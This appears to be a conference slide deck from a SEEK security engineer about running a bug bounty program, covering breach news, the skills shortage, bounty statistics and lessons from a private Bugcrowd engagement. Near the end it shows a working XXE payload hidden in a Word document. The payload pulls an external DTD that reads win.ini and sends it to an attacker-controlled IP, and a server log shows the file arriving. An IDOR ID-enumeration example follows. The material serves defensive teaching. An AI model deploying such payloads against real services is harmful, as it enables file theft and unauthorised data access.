



seek*urity*

# Running a Bug Bounty Program at SEEK

- ▣ Application Security Engineer at SEEK
- ▣ OWASP Melbourne chapter lead
- ▣ Web developer in a previous life
- ▣ Climber of rocks

## Contact

- ▣ [meetup.com/Application-Security-OWASP-Melbourne/](https://meetup.com/Application-Security-OWASP-Melbourne/)
- ▣ [@JulianBerton](https://twitter.com/JulianBerton) (Twitter - not very active)
- ▣ [au.linkedin.com/in/julianberton](https://au.linkedin.com/in/julianberton)
- ▣ [bertonjulian.github.io](https://bertonjulian.github.io) (Blog - also not very active)



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a Meetup Group

**Start**  
a Meetup Group



# OWASP Melbourne - Application Security

Home

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Pages

Discussions

More

Group tools



My profile



OWASP

Melbourne,  
Australia

Founded Nov 11, 2013

About us...

Invite friends

Members 496

Group reviews 7

Upcoming Meetups 1

Past Meetups 14

## Welcome!

+ SCHEDULE A NEW MEETUP

Upcoming

Past

Calendar




### There are no upcoming Meetups

You can schedule one!

Schedule a Meetup

## What's new



MORE

NEW MEMBER

Moss Ebeling

joined



## Recent Meetups




**Who are you?**

## Today's Agenda

- ▣ Cyber, Cyber, Cyber...
- ▣ Why the current security model is failing?
- ▣ Bug bounty programs, the what and why?


**All The Cyber Statistics...**

## Compromises By Environment



Source: Trustwave Global Security Report


## Data Targeted



Source: Trustwave Global Security Report



# How Companies Are Compromised



Source: Trustwave Global Security Report

No credit card data  
or passwords  
stolen... But still  
made the ABC news

**NEWS** 

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**BREAKING NEWS** [Essendon charged by WorkSafe Victoria over supplements program](#)

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## David Jones computer system hacked and customers' private details stolen

**PM** By [Will Ockenden](#)

Updated 2 Oct 2015, 11:52pm

**Australian fashion retailer David Jones says its computer system has been hacked and the private details of some of its customers have been stolen by criminals.**

The retailer said no credit card information or passwords were stolen, and once it discovered the issue it moved quickly to prevent any further incident.

It came a day after retailer Kmart said it had suffered from a privacy breach in which customer data was stolen.



**PHOTO:** Department store David Jones has suffered a privacy breach. (David Gray: Reuters)

# Kmart online customers' information hacked in security breach




October 1, 2015

Comments **3**  Read later

**Marc Moncrief**

*Data Editor, The Age*

[View more articles from Marc Moncrief](#)

 [Follow Marc on Twitter](#)  [Follow Marc on Google+](#)  [Email Marc](#)

 [Tweet](#)  [Pin it](#)  [submit](#)

 [Email article](#)  [Print](#)

No credit card data  
or passwords  
stolen... But still  
made the ABC news



# Aussie Farmers Direct customers' data hacked

November 6, 2015

Be the first to comment ☆ Read later

Helen Velissaris

 Tweet  Pin it  submit

 Email article  Print

Hackers stole data  
not to sell but to  
extort!



Hack attack: Aussie Farmers Direct home grocery delivery service chief Keith Louie. *Photo: Pat Scala*

Thousands of [Aussie Farmers Direct](#) customers have had their private information posted online in a hacking attack, the latest in a string of consumer data breaches in recent months.

The food delivery company was the target of an extortion attempt by international hackers, who demanded a six-figure sum of cash before posting the information of more than 5000 customers on October 30.





## Austrian Firm Fires CEO After \$56-million Cyber Scam

By [AFP](#) on May 25, 2016

[Tweet](#)



Austrian aircraft parts maker FACC said Wednesday that it has fired its chief executive of 17 years after cyber criminals **stole some 50 million euros** (\$55.7 million) in a so-called "fake president" scam.

FACC, whose customers include Airbus, Boeing and Rolls-Royce, said that the its supervisory board sacked Walter Stephan with immediate effect after he "severely violated his duties".

Press reports said that in January a FACC employee wired around 50 million euros, equivalent to almost 10 percent of annual revenues, after receiving emailed instructions from someone posing as Stephan.


By the time the firm, which began life making skis before expanding into aeronautics, realized the mistake, it was too late. The money had disappeared in Slovakia and Asia, the Standard daily reported.

The company said Wednesday that the scam, also known as **"bogus boss" or "CEO fraud"** and increasingly popular with sophisticated organized criminals, cost it 41.9 million euros in its 2015/16 business year.

Again, not going after data but after the money directly!



# Is Awareness To Blame?



**Inside Target's Cyber Fusion Center**



JAN 30, 2016 @ 09:02 AM 8,918 VIEWS

# Why J.P. Morgan Chase & Co. Is Spending A Half Billion Dollars On Cybersecurity



**Steve Morgan**  
CONTRIBUTOR

*I write about the business of cybersecurity.*

[FULL BIO >](#)

Opinions expressed by Forbes Contributors are their own.



*(Photo by Spencer Platt/Getty Images)*



“

*Or is it that our approach to security is  
outdated?*


**The Problem?**  
Or should i say problems...

The current application security model was designed when:


- ▣ There were 3-6 month deploy to prod cycles (think waterfall).
- ▣ One software stack per company (for example, only allowed to use C#, .NET, SQL Server and IIS).
- ▣ Ratio of security people to devs... Well that's always been skewed :)

So how was app sec approached?

## The Current Security Model



## The Culture Problem



Why would this be the case?



## Australia hardest hit globally by cyber security skills shortage: report

Lack of professionals having detrimental affect on Aussie businesses says think tank



George Nott (CIO)

06 September, 2016 09:54



0 Comments

*“88 per cent of Aussie IT decision makers believe there is a shortage of cyber security skills”*

*“Scarcest technical skills being intrusion detection, software development and attack mitigation”*

**NEWS**  LOCATION: **Hobart, Tas** [Change](#) 

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## Commonwealth Bank warns global cyber-security skills shortage leaves Australia open to attack

**PM** By [Will Ockenden](#)  
Posted 27 Aug 2015, 6:21pm

**The Commonwealth Bank is warning that a global cyber-security skills shortage could open the way for more and more high-profile and damaging computer attacks.**

The Federal Government expects demand for computer security experts will grow by more than 20 per cent over the next five years.

And as the cyber threat to government and corporate computer systems grows, the bank has called for a shakeup in universities, arguing that cyber security courses need to focus less on theory and more on practical experience.



**ASHLEY MADISON**<sup>®</sup>  
Life is short. Have an affair.<sup>®</sup>

Get started by telling us your relationship status:

Please Select

[See Your Matches >](#)

Over **37,865,000** anonymous members!

**PHOTO:** Experts warn that the attack on Ashley Madison is by no means an isolated incident (Supplied)


## The way we build software is changing...

- ▣ Small teams (Max 5-10)
- ▣ Agile development methodologies (move faster)
- ▣ Teams can choose what stack to use...
- ▣ CD / CI , deploy to prod daily (move even faster)



## Security Vs Tech


~140 Tech Team



1-2 App Sec Team



## Deploys To Prod Per Month



~30 times a day and growing!

# THE RADAR

## TECHNIQUES

### ADOPT

- 1 Capturing client-side JavaScript errors
- 2 Continuous delivery for mobile devices
- 3 Mobile testing on mobile networks
- 4 Segregated DOM plus node for JS Testing
- 5 Windows Infrastructure automation

### TRIAL

- 6 Capture domain events explicitly
- 7 Client and server rendering with same code
- 8 HTML5 storage instead of cookies
- 9 Instrument all the things
- 10 Masterless Chef/Puppet
- 11 Micro-services
- 12 Perimeterless enterprise
- 13 Provisioning testing
- 14 Structured Logging

### ASSESS

- 15 Bridging physical and digital worlds with simple hardware
- 16 Collaborative analytics and data science
- 17 Datensparsamkeit
- 18 Development environments in the cloud
- 19 Focus on mean time to recovery
- 20 Machine image as a build artifact
- 21 Tangible interaction

### HOLD

- 22 Cloud lift and shift
- 23 Ignoring OWASP Top 10
- 24 Siloed metrics
- 25 Velocity as productivity

## PLATFORMS

### ADOPT

- 26 Elastic Search
- 27 MongoDB
- 28 Neo4j
- 29 Node.js
- 30 Redis
- 31 SMS and USSD as a UI

### TRIAL

- 32 Hadoop 2.0
- 33 Hadoop as a service
- 34 OpenStack
- 35 PostgreSQL for NoSQL
- 36 Vum


### ASSESS

- 37 Akka
- 38 Backend as a service
- 39 Low-cost robotics
- 40 PhoneGap/Apache Cordova
- 41 Private Clouds
- 42 SPDY
- 43 Storm
- 44 Web Components standard

### HOLD

- 45 Big enterprise solutions
- 46 CMS as a platform
- 47 Enterprise Data Warehouse

▲ New or moved  
● No change



# THE RADAR

## TOOLS

### ADOPT

- 48 DD
- 49 Dependency management for JavaScript

### TRIAL

- 50 Ansible
- 51 Calabash
- 52 Chaos Monkey
- 53 Gatling
- 54 Grunt.js
- 55 Hydrix
- 56 Icon fonts
- 57 Librarian-puppet and Librarian-Chef
- 58 Logstash & Graylog2
- 59 Moco
- 60 PhantomJS
- 61 Protocype On Paper
- 62 SnapCI
- 63 Snowplow Analytics & Piwik

### ASSESS

- 64 Cloud-init
- 65 Docker
- 66 Octopus
- 67 Sensu
- 68 Travis for OSX/IOS
- 69 Visual regression testing tools
- 70 Xamarin

### HOLD

- 71 Arit
- 72 Heavyweight test tools
- 73 TFS

## LANGUAGES & FRAMEWORKS

### ADOPT

- 74 Clojure
- 75 Dropwizard
- 76 Scala, the good parts
- 77 Sinatra

### TRIAL

- 78 CoffeeScript
- 79 Go language
- 80 Hive
- 81 Play Framework 2
- 82 Reactive Extensions across languages
- 83 Web API

### ASSESS

- 84 Elxir
- 85 Julia
- 86 Nancy
- 87 OWIN
- 88 Paster
- 89 Pointer Events
- 90 Python 3
- 91 TypeScript
- 92 Yeoman

### HOLD

- 93 Handwritten CSS
- 94 JF

▲ New or moved  
● No change



## Languages



Don't even...

*SERVER* ⚡ *LESS*

## **The Solution?**

Can we make Web Apps 100% secure?




Yes there is a way!





## Defence In Depth



# Secure Development Lifecycle.






How can we add security into an SDLC?

It all starts with....



## SEEK's Application Security Vision




<b>Training</b> 	<b>Inception</b> 	<b>Development</b> 	<b>Deployment</b> 	<b>Monitoring</b> 
<p>Web security training for tech teams (e.g. devs and tester).</p> <p>Security awareness for online delivery (e.g. Brown bags).</p>	<p>Review system design for security weaknesses.</p> <p>Develop attack scenarios for high risk projects.</p>	<p>Add security tests for controls in ASVS standard.</p> <p>Adopt security standards and security release plans.</p>	<p>Automated security tools into the build pipeline (e.g. ZAP).</p> <p>Deploy source code analysis tools into build pipeline (e.g. Checkmarx).</p>	<p>Manual security testing for high value components.</p> <div data-bbox="1508 609 1837 803" style="border: 2px solid green; padding: 5px;"><p>Implement a continuous testing program (e.g. A bug bounty program).</p></div>

# **Bug Bounty Programs**


Evening up the playing field...

## Even Up the Playing Field



50-200 Bounty Hunters




~140 Tech Team



## Bug Bounty Programs



hackerone



bugcrowd





## Bug Bounty Programs



~500 Public Bug Bounty Programs Globally



“

*Since 2011 Facebook have paid out 4.5m to  
~800 researchers.*

## Even the Pentagon Have a Bug Bounty Program!!



US Secretary of Defense Ashton Carter (left) said the initiative was designed to "strengthen our digital defences and ultimately enhance our national security"

Credit **Samuel Corum/Anadolu Agency/Getty Images**

# THE STATE OF BUG BOUNTY

Bugcrowd's second annual report on the  
current state of the bug bounty economy

**JUNE 2016**



**286**

Programs Run (Since 2013)


**2m**

Paid To Researchers


**26,782**

Researchers


## Location of Researchers



# Part-time Vs Full-time




## Time Spent Per Week






## Quality - Low Submission Volume




- 37.44% India
- 19.60% United States
- 12.04% Pakistan
- 2.38% United Kingdom
- 2.17% Tunisia
- 2.14% Hong Kong
- 1.96% Philippines
- 1.25% Germany
- 1.22% Australia
- 1.16% Netherlands
- 18.65% Other

## Quality - High Submission Volume



# Companies Using Bounty Programs




- 43.55% Technology
- 8.20% Finance
- 8.01% Professional Services
- 5.27% Healthcare
- 5.08% Government
- 4.88% Education
- 4.49% Consumer
- 3.71% IT & Security
- 3.13% Non-profit
- 2.54% Manufacturing
- 11.13% Other

## Private Flex Program?


- Two week, private, managed program through Bugcrowd.
- 50 researchers were invited and they were paid for the issues found.
- Testing occurred on production systems.
- Scope was [www.seek.com.au](http://www.seek.com.au), talent.seek.com.au and talentsearch.seek.com.au.
- Effort from SEEK's side was ~5 days FTE (not including remediation of issues).

## Bugcrowd Overview

104 issues were reported in total, with 40 being verified issues:




# Timeline of Issues Submitted



## Issue Ratings

3 High, 7 Medium and 31 Low issues were reported:



# T10

## OWASP Top 10 Application Security Risks – 2013

### A1 – Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

### A2 – Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.

### A3 – Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.


### A4 – Insecure Direct Object References

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.




## Issues by Category

97.5% of all issues are categorised in the OWASP Top 10:




## About the Researchers

50 researchers were invited, 15 submitted and 12 were valid:



## About the Researchers

12 researchers who submitted valid issues came from:




## Reward Pool

Distribution of \$15K USD reward pool:




## Reward Pool


Distribution of \$15K USD reward pool:



## Only Slight Increase in Overall Traffic



## Increase in WAF Rules Triggered



## Lessons Learnt

Lesson	Reason
Double and triple check the program start dates!	UTC was confused with AEST
Some of the bug bounty researchers don't follow ALL the rules in the bounty brief.	<ul style="list-style-type: none"><li>- English is not their first language.</li><li>- They assume it's similar to other briefs.</li><li>- They are hackers and don't follow the rules :P</li></ul>
Some parts of the websites in scope are hosted by a third party.	We did not let the third party hosting provider for the Advice and Tips pages know that we were running a bounty program.



## The Risks

A tester could perform testing that brings down or disrupts production.

A tester could interact with real customers. I.e Post a job or send message on talent search.

A tester could exploit an issue and exfil SEEK customer PII data.

A tester could publicly disclose an issue without our permission.  
During or after the program.

## Managed Bug Bounty

### Pro

- ▣ Different skill sets
- ▣ More eyes
- ▣ Good ROI
- ▣ Continuous

### Cons

- ▣ More risks involved
- ▣ Extra resources needed
- ▣ Can't verify what has been tested.

VS

## Security Consultant

### Pro

- ▣ More control (scope, test restrictions)
- ▣ Detailed advice on remediation
- ▣ Wider range of services/tests

### Cons

- ▣ Expensive
- ▣ Skills shortage
- ▣ Doesn't fit with new dev practices.

# **XML External Entity Attack**

helps you connect and share with  
in your life.

Sign Up

It's free and always will be.

First Name:

Last Name:

Your Email:

Confirm Email:

New Password:

I am: Select Sex:


Birth Day: Month:  Day:

Why do I need to provide my b

Sign Up

# How I Hacked Facebook with a Word Document

xxe\_test\_external\_dtd.docx



```


→ Downloads unzip xxe_test_external_dtd.docx
Archive:  xxe_test_external_dtd.docx
  inflating: [Content_Types].xml
    creating: _rels/
  inflating: _rels/.rels
    creating: docProps/
  inflating: docProps/.DS_Store
    creating: __MACOSX/
    creating: __MACOSX/docProps/
  inflating: __MACOSX/docProps/._.DS_Store
  inflating: docProps/app.xml
  inflating: docProps/core.xml
  inflating: docProps/thumbnail.jpeg
    creating: word/
    creating: word/_rels/
  inflating: word/_rels/document.xml.rels
  inflating: word/fontTable.xml
  inflating: word/settings.xml
  inflating: word/styles.xml
  inflating: word/stylesWithEffects.xml
    creating: word/theme/
  inflating: word/theme/theme1.xml
  inflating: word/webSettings.xml
  inflating: word/document.xml
  
```

## XXE

```
document.xml — securityworkshop
document.xml x
1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
3 <!DOCTYPE go [
4 <!ENTITY % go2 SYSTEM "http://52.64.105.114/payload.dtd">
5 %go2;
6 %all;
7 %send;
8 ]>
```




```
Downloads
→ Downloads zip -u xxe_test_external_dtd.docx
updating: word/ (stored 0%)
updating: word/document.xml (deflated 65%)
```



```
payload.dtd — securityworkshop
payload.dtd
1 <!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
2 <!ENTITY % all "<!ENTITY &#37; send SYSTEM
'http://52.64.105.114/?%file;'">>
```



<http://52.64.105.114/payload.dtd>



```
admin@ip-10-0-0-63:~$ sudo python -m SimpleHTTPServer 80
sudo: unable to resolve host ip-10-0-0-63
Serving HTTP on 0.0.0.0 port 80 ...
```

**Career history**

Required

**Current status**

Required

**Skills & qualifications****Role preferences****Resume****Add a new resume** - 2MB maximum file size

Up to 10 resumes can be stored securely in your account.  
You can use them to apply from any computer or mobile device.

Microsoft Word (.doc or .docx), Adobe Acrobat (.pdf) or text file  
(.txt or .rtf)

[Add a resume](#)**Select a primary resume**

One resume can be selected as the primary resume for your profile



xxe\_\_3\_.docx

15k - Added 21 Jun 2016





## XXE

```
admin@ip-10-0-0-63:~$ sudo python -m SimpleHTTPServer 80
sudo: unable to resolve host ip-10-0-0-63
Serving HTTP on 0.0.0.0 port 80 ...
54.66.194.71 - - [21/Jun/2016 03:53:34] "GET /payload.dtd HTTP/1.1" 200 -
54.66.194.71 - - [21/Jun/2016 03:53:34] "GET /?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[
extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 301 -
```



c:/windows/win.ini

```
for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

# **Insecure Direct Object Reference**

## Insecure Direct Object Reference

1. Application provides direct access to objects based on user-supplied input. E.g.

`/GetAttachment?UserID=89783488&attachmentID=53412090`

2. Server does not check that the authenticated user is allowed to get the attachment of UserID (authorization bypass).
3. With any authenticated account an attacker can enumerate through **ALL** the ID's and download **ALL** the attachments!!

`/GetAttachment?UserID=1111111&attachmentID=11111111`

## Insecure Direct Object Reference

Request	Payload1	Payload2	Status ▲	Error	Timeout	Length	Comment
0			200	<input type="checkbox"/>	<input type="checkbox"/>	58643	baseline request
1003	1	1	200	<input type="checkbox"/>	<input type="checkbox"/>	388	
3006	2	3	200	<input type="checkbox"/>	<input type="checkbox"/>	338	
3007	3	3	200	<input type="checkbox"/>	<input type="checkbox"/>	328	
3008	4	3	200	<input type="checkbox"/>	<input type="checkbox"/>	334	
3010	6	3	200	<input type="checkbox"/>	<input type="checkbox"/>	334	
3009	5	3	200	<input type="checkbox"/>	<input type="checkbox"/>	336	
3011	7	3	200	<input type="checkbox"/>	<input type="checkbox"/>	334	
4007	2	4	200	<input type="checkbox"/>	<input type="checkbox"/>	326	
4008	3	4	200	<input type="checkbox"/>	<input type="checkbox"/>	316	
4009	4	4	200	<input type="checkbox"/>	<input type="checkbox"/>	322	
4010	5	4	200	<input type="checkbox"/>	<input type="checkbox"/>	324	
4011	6	4	200	<input type="checkbox"/>	<input type="checkbox"/>	322	
4012	7	4	200	<input type="checkbox"/>	<input type="checkbox"/>	322	
1	0	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
2	1	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
3	2	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
4	3	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
5	4	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
6	5	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
7	6	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
8	7	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	
9	8	0	404	<input type="checkbox"/>	<input type="checkbox"/>	17436	

[https://www.owasp.org/index.php/Top\\_10\\_2013-A4-Insecure\\_Direct\\_Object\\_References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)

# Whats Next For SEEK?

Done

Next

Maybe

Private Flex Program

Private Ongoing Program

Unmanaged Public Program



slack

99d



Google

indeed<sup>®</sup>  
one search. all jobs.

## Credits/References

- ▣ <https://pages.bugcrowd.com/hubfs/PDFs/state-of-bug-bounty-2016.pdf>
- ▣ <https://www2.trustwave.com/rs/815-RFM-693/images/2016%20Trustwave%20Global%20Security%20Report.pdf>
- ▣ <http://www.wired.co.uk/article/hack-the-pentagon-bug-bounty>
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- ▣ <http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/>
- ▣ <http://www.cio.com.au/article/606319/australia-hardest-hit-globally-by-cyber-security-skills-shortage-report/>
- ▣ <http://www.abc.net.au/news/2015-08-27/global-skills-shortage-for-cyber-security-experts2c-says-commo/6730034>
- ▣



**The End**